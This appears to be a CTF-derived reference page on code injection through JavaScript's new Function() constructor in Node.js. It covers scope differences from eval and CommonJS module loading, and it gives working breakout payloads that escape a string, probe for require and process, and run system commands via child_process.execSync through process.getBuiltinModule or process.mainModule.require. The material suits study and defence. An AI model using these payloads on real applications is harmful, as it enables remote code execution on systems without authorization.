new Function()
new Function() code injection
new Function(source) parses source as the body of a new JavaScript function. Construction compiles the body; calling the returned function executes it.
const dynamicFunction = new Function('return "executed"');
const result = dynamicFunction();Expected result
executedCode injection appears when attacker-controlled text is inserted into source before the constructor parses it.
Vulnerable source
function calculate(userInput, count) {
const source = `with (value='${userInput}', count=${count}) {
return {output: value, count};
}`;
const dynamicFunction = new Function(source);
const result = dynamicFunction();
return result;
}A normal value produces the following function body:
with (value='feed', count=1) {
return {output: value, count};
}userInput is inside a single-quoted string, but the complete result becomes JavaScript source. Escaping that string therefore permits insertion of new statements.
Break and repair
The injected value uses the following shape:
test'); return {output: <ARBITRARY_JAVASCRIPT_EXPRESSION>}; {//After interpolation, the function body becomes:
with (value='test'); return {output: <ARBITRARY_JAVASCRIPT_EXPRESSION>}; {//', count=1) {
return {output: value, count};
}The injected characters repair the surrounding source in order:
' -> close the original string
) -> close the original with header
; -> finish the with statement with an empty body
return {output: ...}; -> return the injected result in the shape expected by the caller
{ -> open a block that the original final } closes
// -> comment the unused remainder of the current line// comments only the remainder of its current line, leaving later lines in a multiline function body active. The injected { keeps the later closing } balanced, preventing a syntax error.
The returned property name must match what the caller consumes. A caller that reads or destructures output requires an object containing output; returning command output as a bare string would not populate that property.
Difference from direct eval()
A direct eval() call executes in the current lexical scope. A function created by new Function() executes in the global scope and does not close over local variables.
function compareScope() {
const localValue = "local";
const evalValue = eval("localValue");
const dynamicFunction = new Function("return typeof localValue");
const functionValue = dynamicFunction();
const result = {
eval: evalValue,
newFunction: functionValue
};
return result;
}Expected result
eval -> local
new Function -> "undefined"Node.js is a program for executing JavaScript, similar to the Python interpreter. It supports CommonJS, a code-organizing and loading system used to split code across files and make functions, classes, and other data available between them. When Node.js loads a JavaScript file through CommonJS, it transparently places the file’s code inside an internal function. The source file becomes the body of that function, while Node.js creates and calls the surrounding function automatically. One of its local parameters is require, a function that accepts the name of a built-in Node.js module, an installed library, or another JavaScript file and returns the functionality exposed by it. This makes require available throughout the file without making it a global function. Normal functions declared inside the file retain access to this local context, and a direct eval() call executes within the same context. new Function() behaves differently: it creates a function in the global context, outside the local context of the file where it was created. Access to the local CommonJS require function therefore requires passing it in explicitly or reaching it through another exposed path.
The Node.js process object is global and remains accessible from a dynamically created function. It can provide a path back to built-in modules when the corresponding API exists in the target runtime.
Scope testing
Source review establishes which module-loading paths should be available:
new Function(source) without declared parameters -> the local CommonJS require function is not passed into the created function
*.cjs file -> CommonJS module
*.mjs file -> ECMAScript module
*.js file with no nearest package.json "type", or with "type": "commonjs" -> CommonJS module
*.js file with nearest package.json "type": "module" -> ECMAScript module
Dockerfile FROM node:<VERSION> -> Node.js version used by the container
CommonJS entry script -> process.mainModule may reference the entry module
ECMAScript module entry script -> process.mainModule is undefinedThe Node.js version determines whether process.getBuiltinModule() exists. Source review therefore produces an expected result for each path before runtime testing.
Each of the following breakout payloads is sent separately to confirm those conclusions:
test'); return {output: typeof require}; {//test'); return {output: typeof process}; {//test'); return {output: typeof process.getBuiltinModule}; {//test'); return {output: typeof process.mainModule}; {//Typical results are:
typeof require -> "undefined" or "function"
typeof process -> "object"
typeof process.getBuiltinModule -> "function" or "undefined"
typeof process.mainModule -> "object" or "undefined"require -> "undefined" confirms that the local CommonJS function is outside the global context used by new Function(). process -> "object" confirms access to the global Node.js process object. A function result for process.getBuiltinModule confirms the modern module-loading path. An object result for process.mainModule confirms access to the older CommonJS entry-module path.
Different runtime results indicate that the running application differs from the reviewed source or runtime configuration, or that the application explicitly exposes an additional binding.
Modern Node.js module access
Node.js versions exposing process.getBuiltinModule() can load child_process directly from global scope:
process.getBuiltinModule("child_process").execSync("<COMMAND>").toString()The complete injected value is:
test'); return {output: process.getBuiltinModule('child_process').execSync('<COMMAND>').toString()}; {//process.getBuiltinModule() was added in Node.js 20.16.0 and 22.3.0. Earlier versions require another module-loading path.
Older CommonJS module access
Older CommonJS applications may expose the entry module through process.mainModule. Its require() method can load child_process from the global function scope:
process.mainModule.require("child_process").execSync("<COMMAND>").toString()The complete injected value is:
test'); return {output: process.mainModule.require('child_process').execSync('<COMMAND>').toString()}; {//process.mainModule is deprecated, CommonJS-specific, and may be undefined when no entry script exists or the application uses ECMAScript modules. Neither module-loading path is universal; the Node.js version and exposed globals determine which one works.
Expected returned object
{
"output": "<COMMAND_OUTPUT>"
}Find by: javascript injection, nodejs, new Function, Function constructor, dynamic function, dynamic code compilation, global scope, lexical scope, eval vs new Function, require undefined, process global, process getBuiltinModule, process mainModule require, child_process, execSync, multiline source, break and repair, brace balancing, in-band command output, RCE · Source: HTB/SpikyTamagotchi + ECMAScript Function constructor + Node.js CommonJS module wrapper and process documentation